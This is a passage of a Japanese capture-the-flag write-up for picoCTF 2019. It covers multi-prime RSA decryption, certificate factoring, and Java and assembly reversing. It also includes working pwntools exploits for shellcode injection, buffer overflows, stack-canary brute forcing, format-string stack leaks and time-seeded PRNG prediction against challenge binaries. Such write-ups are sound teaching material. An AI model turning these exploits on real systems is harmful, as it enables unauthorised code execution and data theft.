61866289049119995908059607752806267038483834548300954424281214270576214916759529837
[*] e = 3469532653446931973143252967826934276063284894691583153334192125545142632229185432520302870481545953698160851
723803285361498775490048528005819036184186263132882740696267072282136189395678305847742843535569399331186952968315263
8557450321038802057171235263098948186046633226808033374087456395922717278307438273
[*] Hacked d = 65537
[*] Decrypted m = 180638594769037903267909311328535969949661653466692454888976509
[*] FLAG is b'picoCTF{bad_1d3a5_4986370}'
[*] Closed connection to 2019shell1.picoctf.com port 10814

picoCTF{bad_1d3a5_4986370}

b00tl3gRSA3 - Points: 450

Why use p and q when I can use more? Connect with nc 2019shell1.picoctf.com 37874.

3つ以上の素数でnが決まっている場合、Multi-prime RSAと呼ばれています。この場合、素因数分解が現実的な時間でできるので、復号が可能です。 ただし、2つの素数の場合と違ってオイラー関数の計算方法に注意する必要があります。

復号するスクリプトを作成しました。

from pwn import *
from egcd import egcd
from Crypto.Util.number import *
import sympy

def totient(n):
    factors = sympy.factorint(n)
    rst = 1
    for i,j in factors.items():
        rst *= (pow(i,j) - pow(i,j-1))
    return rst

def main():
    con = remote("2019shell1.picoctf.com", 37874)
    con.readuntil(": ")
    c = int(con.readuntil("\n"))
    con.readuntil(": ")
    n = int(con.readuntil("\n"))
    con.readuntil(": ")
    e = int(con.readuntil("\n"))

    log.info("c = {}".format(c))
    log.info("n = {}".format(n))
    log.info("e = {}".format(e))

    phi = totient(n)
    d = egcd(e, phi)[1]
    if d < 0:
        d += phi
    log.info("d = {}".format(d))

    m = pow(c, d, n)
    log.info("Decrypted m = {}".format(m))
    log.info("FLAG is {}".format(long_to_bytes(m)))

if __name__ == "__main__":
    main()

少し時間がかかりますが、実行するとフラグが出力されます。

$ python solve.py 
[+] Opening connection to 2019shell1.picoctf.com on port 37874: Done
[*] c = 1840556992979634193428518768644495816711437789339218710030359606441297420776748646088923621078126163000138180
855492758012557107198647574121538138969200803987149420050803347879156481013228911949915900143262124287307577802961966
446102354437305156534323595829363183308109702399110027183377345405131457700937813504042605998540020035958785230470658
50
[*] n = 2173609478595598104998101419607070288388729743584025414628630839058648003842712474409314857778216999672033113
588226808060857041432651873014243459372742852659613623179026515640778251705432680744367379769529116372164709261293753
684748883753185459905587570469605371132308709724323585171805362843306378600825759987502719159257762938382520525820555
69
[*] e = 65537
[*] d = 1279284443765596289661578569113705692193372599563668959723734606956107240462628888756149974260183921550081952
572121432927139520184116072195816248745020035547055880542508529944747017311129129995404253814229121004872259723320368
265802879473637836460149518452160723035091193400040427238031572750144531575857044743167777701147199007534081328104734
73
[*] Decrypted m = 13016382529449106065933618925167173598170118383294989999418818439563972994937213
[*] FLAG is b'picoCTF{too_many_fact0rs_0744041}'
[*] Closed connection to 2019shell1.picoctf.com port 37874

picoCTF{too_many_fact0rs_0744041}

john_pollard - Points: 500

Sometimes RSA certificates are breakable

証明書なので、とりあえずopensslコマンドで展開してみます。

$ openssl x509 -text -in cert -noout
Certificate:
    Data:
        Version: 1 (0x0)
        Serial Number: 12345 (0x3039)
        Signature Algorithm: md2WithRSAEncryption
        Issuer: CN = PicoCTF
        Validity
            Not Before: Jul  8 07:21:18 2019 GMT
            Not After : Jun 26 17:34:38 2019 GMT
        Subject: OU = PicoCTF, O = PicoCTF, L = PicoCTF, ST = PicoCTF, C = US, CN = PicoCTF
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (53 bit)
                Modulus: 4966306421059967 (0x11a4d45212b17f)
                Exponent: 65537 (0x10001)
    Signature Algorithm: md2WithRSAEncryption
         07:6a:5d:61:32:c1:9e:05:bd:eb:77:f3:aa:fb:bb:83:82:eb:
         9e:a2:93:af:0c:2f:3a:e2:1a:e9:74:6b:9b:82:d8:ef:fe:1a:
         c8:b2:98:7b:16:dc:4c:d8:1e:2b:92:4c:80:78:85:7b:d3:cc:
         b7:d4:72:29:94:22:eb:bb:11:5d:b2:9a:af:7c:6b:cb:b0:2c:
         a7:91:87:ec:63:bd:22:e8:8f:dd:38:0e:a5:e1:0a:bf:35:d9:
         a4:3c:3c:7b:79:da:8e:4f:fc:ca:e2:38:67:45:a7:de:6e:a2:
         6e:71:71:47:f0:09:3e:1b:a0:12:35:15:a1:29:f1:59:25:35:
         a3:e4:2a:32:4c:c2:2e:b4:b5:3d:94:38:93:5e:78:37:ac:35:
         35:06:15:e0:d3:87:a2:d6:3b:c0:7f:45:2b:b6:97:8e:03:a8:
         d4:c9:e0:8b:68:a0:c5:45:ba:ce:9b:7e:71:23:bf:6b:db:cc:
         8e:f2:78:35:50:0c:d3:45:c9:6f:90:e4:6d:6f:c2:cc:c7:0e:
         de:fa:f7:48:9e:d0:46:a9:fe:d3:db:93:cb:9f:f3:32:70:63:
         cf:bc:d5:f2:22:c4:f3:be:f6:3f:31:75:c9:1e:70:2a:a4:8e:
         43:96:ac:33:6d:11:f3:ab:5e:bf:4b:55:8b:bf:38:38:3e:c1:
         25:9a:fd:5f

今回のフラグの形式は、picoCTF{p,q}という形式だと、Hintsに書かれていました。 4966306421059967 を素因数分解すれば、pとqを求めることができます。 factordbで検索すると、素因数分解できました。

www.factordb.com

4966306421059967<16> = 67867967 · 73176001

picoCTF{73176001,67867967}

Binary Exploitation

handy-shellcode - Points: 50

This program executes any shellcode that you give it. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/handy-shellcode_0_24753fd2c78ac1a60682f0c924b23405 on the shell server. Source.

単純にShellcodeを入れるだけの問題です。 今回は、socatでサーバを立てて解きました。

$ curl checkip.amazonaws.com
3.15.247.173
$ cd  /problems/handy-shellcode_0_24753fd2c78ac1a60682f0c924b23405
$ socat TCP-LISTEN:8000,reuseaddr,fork EXEC:./vuln

シェルコードを送り込むPythonスクリプトを書きました。

from pwn import *

def exploit(p):
    shellcode = asm(shellcraft.sh())    
    p.sendlineafter("Enter your shellcode:", shellcode)

def main():
    context(arch="i386", os="linux")

    if args["REMOTE"]:
        p = remote("3.15.247.173", 8000)
    else:
        p = process("./vuln")
    
    exploit(p)
    p.interactive()

if __name__ == "__main__":
    main()

実行するとシェルが取れ、フラグの確認ができました。

$ python exploit.py REMOTE
[+] Opening connection to 3.15.247.173 on port 8000: Done
[*] Switching to interactive mode

jhh///sh/binj\x0bX\x89�1�\x99̀
Thanks! Executing now...
$ id
uid=9780(tsalvia) gid=8869(handy-shellcode_0) groups=8869(handy-shellcode_0),1002(competitors),9781(tsalvia)
$ ls
flag.txt
vuln
vuln.c
$ cat flag.txt
picoCTF{h4ndY_d4ndY_sh311c0d3_ce07e7f1}$

picoCTF{h4ndY_d4ndY_sh311c0d3_ce07e7f1}

practice-run-1 - Points: 50

You're going to need to know how to run programs if you're going to get out of here. Navigate to /problems/practice-run-1_0_62b61488e896645ebff9b6c97d0e775e on the shell server and run this program to receive a flag.

picoCTFでは、各ユーザにWebShellが用意されています。 ログインして、run_thisを実行するとフラグが表示されました。

$ cd /problems/practice-run-1_0_62b61488e896645ebff9b6c97d0e775e
$ ls
run_this
$ ./run_this
picoCTF{g3t_r3adY_2_r3v3r53}

picoCTF{g3t_r3adY_2_r3v3r53}

OverFlow 0 - Points: 100

This should be easy. Overflow the correct buffer in this program and get a flag. Its also found in /problems/overflow-0_3_dc6e55b8358f1c82f03ddd018a5549e0 on the shell server. Source.

SIGSEGVを起こせば、フラグが表示されるようです。 300文字ぐらい文字列をコマンドライン引数に指定し、バッファオーバーフローさせるとフラグが表示されました。

$ cd /problems/overflow-0_3_dc6e55b8358f1c82f03ddd018a5549e0
$ ls
flag.txt  vuln  vuln.c
$ ./vuln "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

picoCTF{3asY_P3a5y1fcf81f9}

OverFlow 1 - Points: 150

You beat the first overflow challenge. Now overflow the buffer and change the return address to the flag function in this program? You can find it in /problems/overflow-1_6_0a7153ff536ac8779749bc2dfa4735de on the shell server. Source.

socatでサーバを立てて解きました。

$ curl checkip.amazonaws.com
3.15.247.173
$ cd  /problems/overflow-1_6_0a7153ff536ac8779749bc2dfa4735de
$ socat TCP-LISTEN:8001,reuseaddr,fork EXEC:./vuln

gdb-pedaのpattcとpattoの機能を使って、リターンアドレスの位置を確認します。

$ gdb -q -ex "pattc 100" -ex "q" | sed -e "s/'//g"
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
$ ./vuln
Give me a string and lets see what happens: 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Woah, were jumping to 0x41344141 !
Segmentation fault (core dumped)
$ gdb -q -ex "patto 0x41344141" -ex "q"
1093943617 found at offset: 76

リターンアドレスがバッファの先頭から76バイト目にあることが分かりました。 リターンアドレスをflag関数に飛ばすように入力値を調整すれば、フラグを取得できます。

以上の情報を基にスクリプトを書きました。

from pwn import *

def exploit(p, binf):
    flag_symbols = binf.symbols[b'flag']
    log.info("flag symbols: {}".format(hex(flag_symbols)))

    offset = 76
    payload = b"A" * offset
    payload += pack(flag_symbols)
    p.sendlineafter("Give me a string and lets see what happens:", payload)

def main():
    context(arch="i386", os="linux")

    if args["REMOTE"]:
        p = remote("3.15.247.173", 8001)
    else:
        p = process("./vuln")
    
    binf = ELF("./vuln")
    exploit(p, binf)
    p.interactive()

if __name__ == "__main__":
    main()

上記のスクリプトを実行すると、フラグを取得することができました。

$ python exploit.py REMOTE
[+] Opening connection to 3.15.247.173 on port 8001: Done
[*] '/root/workdir/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE
[*] flag symbols: 0x80485e6
[*] Switching to interactive mode
 
Woah, were jumping to 0x80485e6 !
picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5b80c9cbf}

picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5b80c9cbf}

slippery-shellcode - Points: 200

This program is a little bit more tricky. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/slippery-shellcode_6_7cf1605ec6dfefad68200ceb12dd67a1 on the shell server. Source.

socatでサーバを立てて解きました。

$ curl checkip.amazonaws.com
3.15.247.173
$ cd  /problems/handy-shellcode_0_24753fd2c78ac1a60682f0c924b23405
$ socat TCP-LISTEN:8000,reuseaddr,fork EXEC:./vuln

ソースコードを見てみると、前回のhandy-shellcodeのときと違い、randで取得した値を使って実行させるバッファのアドレスを少しずらす処理が入っていました。 ただ、srandがないため初期seed値は、固定となります。まず、offsetがどれぐらいなのかを調べるため、少しだけソースコードに手を加えました。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 512
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter your shellcode:");
  vuln(buf);

  puts("Thanks! Executing from a random location now...");

  int offset = (rand() % 256) + 1;
  printf("%d\n", offset);
  
  // ((void (*)())(buf+offset))();


  puts("Finishing Executing Shellcode. Exiting now...");
  
  return 0;
}

コンパイルして実行すると、offsetが表示されます。 また、何度実行しても同じ値であることも確認できました。

$ gcc ./vuln.c
# ./a.out 
Enter your shellcode:
a
a
Thanks! Executing from a random location now...
104
Finishing Executing Shellcode. Exiting now...
root@f4abf7d5116e:~/workdir# ./a.out 
Enter your shellcode:
a
a
Thanks! Executing from a random location now...
104
Finishing Executing Shellcode. Exiting now...

あとは、適当にoffset分文字列を書き込んで、そのあとシェルコードを実行できるようにするだけです。 以下がそのスクリプトとなります。

from pwn import *

def exploit(p):
    shellcode = asm(shellcraft.sh())

    offset = 104
    payload = b"A" * offset
    payload += shellcode
    p.sendlineafter("Enter your shellcode:", payload)

def main():
    context(arch="i386", os="linux")

    if args["REMOTE"]:
        p = remote("3.15.247.173", 8002)
    else:
        p = process("./vuln")
    
    exploit(p)
    p.interactive()

if __name__ == "__main__":
    main()

実行すると、シェルを取ることができました。

$ python exploit.py REMOTE
[+] Opening connection to 3.15.247.173 on port 8002: Done
[*] Switching to interactive mode

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAjhh///sh/binj
\x0bX\x89�1�\x99̀
Thanks! Executing from a random location now...
$ id
uid=9780(tsalvia) gid=8861(slippery-shellcode_6) groups=8861(slippery-shellcode_6),1002(competitors),9781(tsalvia)
$ ls
flag.txt
vuln
vuln.c
$ cat flag.txt
picoCTF{sl1pp3ry_sh311c0d3_5a0fefb6}

picoCTF{sl1pp3ry_sh311c0d3_5a0fefb6}

OverFlow 2 - Points: 250

Now try overwriting arguments. Can you get the flag from this program? You can find it in /problems/overflow-2_1_210f23786438d7f7e527f4901367a74b on the shell server. Source.

socatでサーバを立てて解きました。

$ curl checkip.amazonaws.com
3.15.247.173
$ cd  /problems/handy-shellcode_0_24753fd2c78ac1a60682f0c924b23405
$ socat TCP-LISTEN:8003,reuseaddr,fork EXEC:./vuln

今度は、バッファオーバーフローで呼び出す関数に引数があるという問題です。 正しい引数を指定して関数を呼び出す必要があります。

以下のようなスクリプトを作成しました。

from pwn import *

def exploit(p, binf):
    flag_symbols = binf.symbols[b'flag']
    log.info("flag symbols: {}".format(hex(flag_symbols)))

    offset = 188
    payload = b"A" * offset
    payload += pack(flag_symbols)
    payload += pack(0x00000000) # dummy
    payload += pack(0xDEADBEEF) # arg1
    payload += pack(0xC0DED00D) # arg2

    log.info("payload: {}".format(payload))
    p.sendlineafter("Please enter your string:", payload)

def main():
    context(arch="i386", os="linux")

    if args["REMOTE"]:
        p = remote("3.15.247.173", 8003)
    else:
        p = process("./vuln")
    
    binf = ELF("./vuln")
    exploit(p, binf)
    p.interactive()

if __name__ == "__main__":
    main()

実行すると、フラグが出力されました。

$ python exploit.py REMOTE
[+] Opening connection to 3.15.247.173 on port 8003: Done
[*] '/root/workdir/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[*] flag symbols: 0x80485e6
[*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe6\x85\x04\x08\
x00\x00\x00\x00\xef\xbe\xad\xde\r\xd0\xde\xc0'
[*] Switching to interactive mode
 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
picoCTF{arg5_and_r3turn5001d1db0}

picoCTF{arg5_and_r3turn5001d1db0}

CanaRy - Points: 300

This time we added a canary to detect buffer overflows. Can you still find a way to retreive the flag from this program located in /problems/canary_1_a5eaebeeb66458dec31e09fa8fc517fd. Source.

canary.txt というファイルを読み出して、カナリア値の代わりに挿入されるようです。 ファイルから読み出しており、カナリア値は常に一定となるので、1バイトずつ総当たりでカナリア値を求めれば良さそうです。

また、カナリア値を求めた後、バッファオーバーフローさせて、display_flag を呼び出す必要があります。 picoCTFのサーバは、ASLRが有効となっているため、そのままリターンアドレスを書き換えてもほとんどの確率で動作しません。 ただ、ASLRが有効の場合でも、下位2バイトは固定となるので、何度も実行して上位2バイトにヒットするまで、繰り返すことで解決しました。

以下のようなスクリプトを作成しました。

from pwn import *
from getpass import *

ARCH = "i386"
FILE = "./vuln"
HOST = "3.15.247.173"

if args["REMOTE"]:
    USER = getpass("Please input ssh user: ")
    PASS = getpass("Please input ssh password: ")
    SSH = ssh(host=HOST, user=USER, password=PASS)
    SSH.set_working_directory("/problems/canary_1_a5eaebeeb66458dec31e09fa8fc517fd")

def run_process():
    if args["REMOTE"]:
        return SSH.process([FILE])
    else:
        return process([FILE])

def leak_canary():
    buf_size = 32
    canary = b''
    for i in range(4):
        for c in range(0xff):
            payload = b'A' * buf_size + canary + bytes([c])
            log.info("leak_canary_payload: {}".format(payload))
            con = run_process()
            con.sendlineafter("Please enter the length of the entry:\n> ", str(buf_size + i + 1))
            con.sendlineafter("Input> ", payload)
            res = con.recvall()
            if b"Canary Value Corrupt!" not in res:
                canary += bytes([c])
                break
    return canary

def exploit(canary):
    elf = ELF(FILE)
    while True:
        con = run_process()
        display_flag = elf.symbols[b"display_flag"]
        log.info("display_flag: {}".format(hex(display_flag)))

        buf_size = 32
        padding = b"B" * 16
        payload = b"A" * buf_size + canary + padding + display_flag.to_bytes(2, "little")
        log.info("payload: {}".format(payload))
        con.sendlineafter("Please enter the length of the entry:\n> ", str(len(payload)))
        con.sendlineafter("Input> ", payload)
        con.readuntil("\n")
        res = con.recvall()
        if b"pico" in res:
            return res.decode("utf-8")

def main():
    context(arch=ARCH, os="linux")

    prog = log.progress("leak_canary()")
    context.log_level = "error"
    canary = leak_canary()
    context.log_level = "info"
    prog.success("canary: {}".format(canary))

    prog = log.progress("exploit()")
    context.log_level = "error"
    flag = exploit(canary)
    context.log_level = "info"
    prog.success("flag: {}".format(flag))

if __name__ == "__main__":
    main()

ローカルで実行する場合は、ASLRを有効にしておく必要があります。

$ echo 2 > /proc/sys/kernel/randomize_va_space
$ echo -n "abcd" > /problems/canary_1_a5eaebeeb66458dec31e09fa8fc517fd/canary.txt
$ echo -n "picoCTF{TEST_TEST}" > flag.txt
$ python exploit.py
[+] leak_canary(): canary: b'abcd'
[+] exploit(): flag: picoCTF{TEST_TEST}

リモートに接続して実行すると、フラグが取得できます。

$ python exploit.py REMOTE
Please input ssh user: 
Please input ssh password: 
[+] Connecting to 3.15.247.173 on port 22: Done
[*] Working directory: '/problems/canary_1_a5eaebeeb66458dec31e09fa8fc517fd'
[+] leak_canary(): canary: b'7a6H'
[+] exploit(): flag: picoCTF{cAnAr135_mU5t_b3_r4nd0m!_0e5152a1}

picoCTF{cAnAr135_mU5t_b3_r4nd0m!_0e5152a1}

stringzz - Points: 300

Use a format string to pwn this program and get a flag. Its also found in /problems/stringzz_6_5f0e31bfd7b9a7c6a32d22b6d57e9010 on the shell server. Source.

フラグをバッファに入れている処理があり、そのあとにフォーマットストリングバグがあるのが確認できました。 スタックをリークすれば、フラグが出力されるはずです。 総当たりで、スタックを辿るスクリプトを書きました。

#!/bin/bash
for ((i = 1; i < 100; i++))
do
    echo -e "$i.%$i\$s" | ./vuln | grep "picoCTF"
done

実行すると、フラグが出力されます。

$ cd /problems/stringzz_6_5f0e31bfd7b9a7c6a32d22b6d57e9010
$ vi /tmp/solve.sh
$ chmod +x /tmp/solve.sh
$ /tmp/solve.sh
37.picoCTF{str1nG_CH3353_0814bc7c}

picoCTF{str1nG_CH3353_0814bc7c}

seed-sPRiNG - Points: 350

The most revolutionary game is finally available: seed sPRiNG is open right now! seed_spring. Connect to it with nc 2019shell1.picoctf.com 47241.

seed_spring をGhidraで開くと、以下のようになっていました。

f:id:tsalvia:20191002024906p:plain

seed値を現在の時刻にしているようです。 コマンドライン引数にエポックタイムを指定すると、30個分の乱数を表示するようなプログラムを作成しました。

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
    int i, num;
    unsigned int seed;
    
    seed = atoi(argv[1]);
    srand(seed);

    printf("seed: %d\n", seed);
    for (i = 0; i < 30; i++) {
        num = rand();
        printf("%2d:\t%2d\n", i + 1, num & 0xf);
    }
    return 0;
}

何度かサーバに接続し、初めに適当な値(1)を入力して、次に進むタイミングを探します。

$ date +%s & nc 2019shell1.picoctf.com 47241
[1] 1517
1569951372

省略

Welcome! The game is easy: you jump on a sPRiNG.
How high will you fly?

LEVEL (1/30)

Guess the height: 1
LEVEL (2/30)

Guess the height:

1秒ずつ時刻をずらしながら、初めに1が出てくるタイミングを探します。 私の環境では、5秒ほどずれていました。

$ gcc crack_seed.c 
$ ./a.out 1569951367
seed: 1569951367
 1:      1
 2:      1
省略

30個分の乱数を入力していくと、フラグが出力されました。

picoCTF{pseudo_random_number_generator_not_so_random_1e980471db65a9f446af481d75490127}

Reverse Engineering

vault-door-training - Points: 50

Your mission is to enter Dr. Evil's laboratory and retrieve the blueprints for his Doomsday Project. The laboratory is protected by a series of locked vault doors. Each door is controlled by a computer and requires a password to open. Unfortunately, our undercover agents have not been able to obtain the secret passwords for the vault doors, but one of our junior agents obtained the source code for each vault's computer! You will need to read the source code for each level to figure out what the password is for that vault door. As a warmup, we have created a replica vault in our training facility. The source code for the training vault is here: VaultDoorTraining.java

VaultDoorTraining.java を開くと、フラグが書いてありました。

import java.util.*;

class VaultDoorTraining {
    public static void main(String args[]) {
        VaultDoorTraining vaultDoor = new VaultDoorTraining();
        Scanner scanner = new Scanner(System.in); 
        System.out.print("Enter vault password: ");
        String userInput = scanner.next();
    String input = userInput.substring("picoCTF{".length(),userInput.length()-1);
    if (vaultDoor.checkPassword(input)) {
        System.out.println("Access granted.");
    } else {
        System.out.println("Access denied!");
    }
   }

    // The password is below. Is it safe to put the password in the source code?
    // What if somebody stole our source code? Then they would know what our
    // password is. Hmm... I will think of some ways to improve the security
    // on the other doors.
    //
    // -Minion #9567
    public boolean checkPassword(String password) {
        return password.equals("w4rm1ng_Up_w1tH_jAv4_87f51143e4b");
    }
}

picoCTF{w4rm1ng_Up_w1tH_jAv4_87f51143e4b}

vault-door-1 - Points: 100

This vault uses some complicated arrays! I hope you can make sense of it, special agent. The source code for this vault is here: VaultDoor1.java

VaultDoor1.java を見てみると、入力した値をバラバラに比較しているような処理が確認できました。

public boolean checkPassword(String password) {
    return password.length() == 32 &&
           password.charAt(0)  == 'd' &&
           password.charAt(29) == 'f' &&
           password.charAt(4)  == 'r' &&
           password.charAt(2)  == '5' &&
           password.charAt(23) == 'r' &&
           password.charAt(3)  == 'c' &&
           password.charAt(17) == '4' &&
           password.charAt(1)  == '3' &&
           password.charAt(7)  == 'b' &&
           password.charAt(10) == '_' &&
           password.charAt(5)  == '4' &&
           password.charAt(9)  == '3' &&
           password.charAt(11) == 't' &&
           password.charAt(15) == 'c' &&
           password.charAt(8)  == 'l' &&
           password.charAt(12) == 'H' &&
           password.charAt(20) == 'c' &&
           password.charAt(14) == '_' &&
           password.charAt(6)  == 'm' &&
           password.charAt(24) == '5' &&
           password.charAt(18) == 'r' &&
           password.charAt(13) == '3' &&
           password.charAt(19) == '4' &&
           password.charAt(21) == 'T' &&
           password.charAt(16) == 'H' &&
           password.charAt(27) == '3' &&
           password.charAt(30) == '3' &&
           password.charAt(25) == '_' &&
           password.charAt(22) == '3' &&
           password.charAt(28) == 'e' &&
           password.charAt(26) == '6' &&
           password.charAt(31) == 'a';
}

並び替えると、フラグになります。

$ grep charAt VaultDoor1.java | cut -d"(" -f 2 | sort -n | cut -d"'" -f 2 | sed -z "s/\n//g"
d35cr4mbl3_tH3_cH4r4cT3r5_63ef3a

picoCTF{d35cr4mbl3_tH3_cH4r4cT3r5_63ef3a}

asm1 - Points: 200

What does asm1(0x4f3) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm1_6_74dd61bdf487805bf057c71be7941289.

書いてある通りに分岐を辿っていくだけの問題

  1. (0x4f3 > 0x45d) なので、asm1+37 に移動する。
  2. (0x4f3 != 0x7cd) なので、asm1+54 に移動する。
  3. 0x4f3 + 0x17 を計算する。
asm1:
    <+0>: push   ebp
    <+1>:    mov    ebp,esp
    <+3>:    cmp    DWORD PTR [ebp+0x8],0x45d
    <+10>:   jg     0x512 <asm1+37>
    <+12>:   cmp    DWORD PTR [ebp+0x8],0x430
    <+19>:   jne    0x50a <asm1+29>
    <+21>:   mov    eax,DWORD PTR [ebp+0x8]
    <+24>:   add    eax,0x17
    <+27>:   jmp    0x529 <asm1+60>
    <+29>:   mov    eax,DWORD PTR [ebp+0x8]
    <+32>:   sub    eax,0x17
    <+35>:   jmp    0x529 <asm1+60>
    <+37>:   cmp    DWORD PTR [ebp+0x8],0x7cd
    <+44>:   jne    0x523 <asm1+54>
    <+46>:   mov    eax,DWORD PTR [ebp+0x8]
    <+49>:   sub    eax,0x17
    <+52>:   jmp    0x529 <asm1+60>
    <+54>:   mov    eax,DWORD PTR [ebp+0x8]
    <+57>:   add    eax,0x17
    <+60>:   pop    ebp
    <+61>:   ret    

picoCTF{0x50a}

vault-door-3 - Points: 200

This vault uses for-loops and byte arrays. The source code for this vault is here: VaultDoor3.java

vault-door-1 の checkPasswordの処理が少し変わっていますが、単純に並び替えてから比較しているだけです。 並び替え後の文字列を表示するを表示するように変更しました。 picoCTF{jU5t_a_sna_3lpm13gc49_u_4_m0rf41} と入力し、表示された文字列がフラグとなります。

public boolean checkPassword(String password) {
    if (password.length() != 32) {
        return false;
    }
    char[] buffer = new char[32];
    int i;
    for (i=0; i<8; i++) {
        buffer[i] = password.charAt(i);
    }
    for (; i<16; i++) {
        buffer[i] = password.charAt(23-i);
    }
    for (; i<32; i+=2) {
        buffer[i] = password.charAt(46-i);
    }
    for (i=31; i>=17; i-=2) {
        buffer[i] = password.charAt(i);
    }
    String s = new String(buffer);
    System.out.printf("picoCTF{%s}\n", s); // 追加
    return s.equals("jU5t_a_sna_3lpm13gc49_u_4_m0rf41");
}

実行結果は、以下の通りとなります。

$ javac VaultDoor3.java
$ java VaultDoor3
Enter vault password: picoCTF{jU5t_a_sna_3lpm13gc49_u_4_m0rf41}
picoCTF{jU5t_a_s1mpl3_an4gr4m_4_u_90cf31}
Access denied!

picoCTF{jU5t_a_s1mpl3_an4gr4m_4_u_90cf31}

asm2 - Points: 250

What does asm2(0xe,0x22) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm2_4_548389d70e48a3ca5473a24096f2186a.

アセンブリを読んで、同じことをさせるスクリプトを書きました。

arg1 = 0xe
arg2 = 0x22

while arg1 <= 0x9087:
    arg2 += 0x1
    arg1 += 0xd1

print(hex(arg2))

実行すると、フラグが取得できます。

$ python solve.py
0xd3

picoCTF{0xd3}

vault-door-4 - Points: 250

This vault uses ASCII encoding for the password. The source code for this vault is here: VaultDoor4.java

フラグをバイト配列に変換しているようなので、バイト配列をStringに変換して表示するだけでフラグを取得することができます。 バイト配列をStringに変換する処理を追記しました。

public boolean checkPassword(String password) {
    byte[] passBytes = password.getBytes();
    byte[] myBytes = {
        106 , 85  , 53  , 116 , 95  , 52  , 95  , 98  ,
        0x55, 0x6e, 0x43, 0x68, 0x5f, 0x30, 0x66, 0x5f,
        0142, 0131, 0164, 063 , 0163, 0137, 070 , 060 ,
        'f' , '8' , 'e' , '1' , 'e' , '0' , '4' , '7' ,
    };
    System.out.printf("picoCTF{%s}\n", new String(myBytes)); // 追加
    for (int i=0; i<32; i++) {
        if (passBytes[i] != myBytes[i]) {
            return false;
        }
    }
    return true;
}
}

実行すると、フラグが表示されます。

$ java VaultDoor4
Enter vault password: picoCTF{aaa}
picoCTF{jU5t_4_bUnCh_0f_bYt3s_80f8e1e047}
Access denied!

picoCTF{jU5t_4_bUnCh_0f_bYt3s_80f8e1e047}

asm3 - Points: 300

What does asm3(0xdff83990,0xeeff29ae,0xfa706498) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm3_3_8aa3e17880273360f781adadc67a15f0.

与えられたファイルをGAS用に調整して解きました。

以下のようにプログラムを調整しました。

.intel_syntax noprefix

.global asm3

asm3:
    push   ebp
    mov    ebp,esp
    xor    eax,eax
    mov    ah,BYTE PTR [ebp+0xb]
    shl    ax,0x10
    sub    al,BYTE PTR [ebp+0xd]
    add    ah,BYTE PTR [ebp+0xe]
    xor    ax,WORD PTR [ebp+0x12]
    nop
    pop    ebp
    ret

こちらは、フラグ表示用のプログラムです。

#include <stdio.h>

int main(void)
{
    printf("picoCTF{0x%x}\n", asm3(0xdff83990, 0xeeff29ae, 0xfa706498));
    return 0;
}

コンパイルして実行すると、フラグが出力されます。

$ gcc -m32 -c test.S -o test.o
$ gcc -m32 -c solve.c -o solve.o -w
$ gcc -m32 solve.o test.o
$ ./a.out
picoCTF{0x5a7}

picoCTF{0x5a7}

droids0 - Points: 300

Where do droid logs go. Check out this file. You can also find the file in /problems/droids0_0_205f7b4a3b23490adffddfcfc45a2ca3.

APKをAndroidエミュレータにインストールして、ボタンを押すとLogcatにフラグが表示されます。

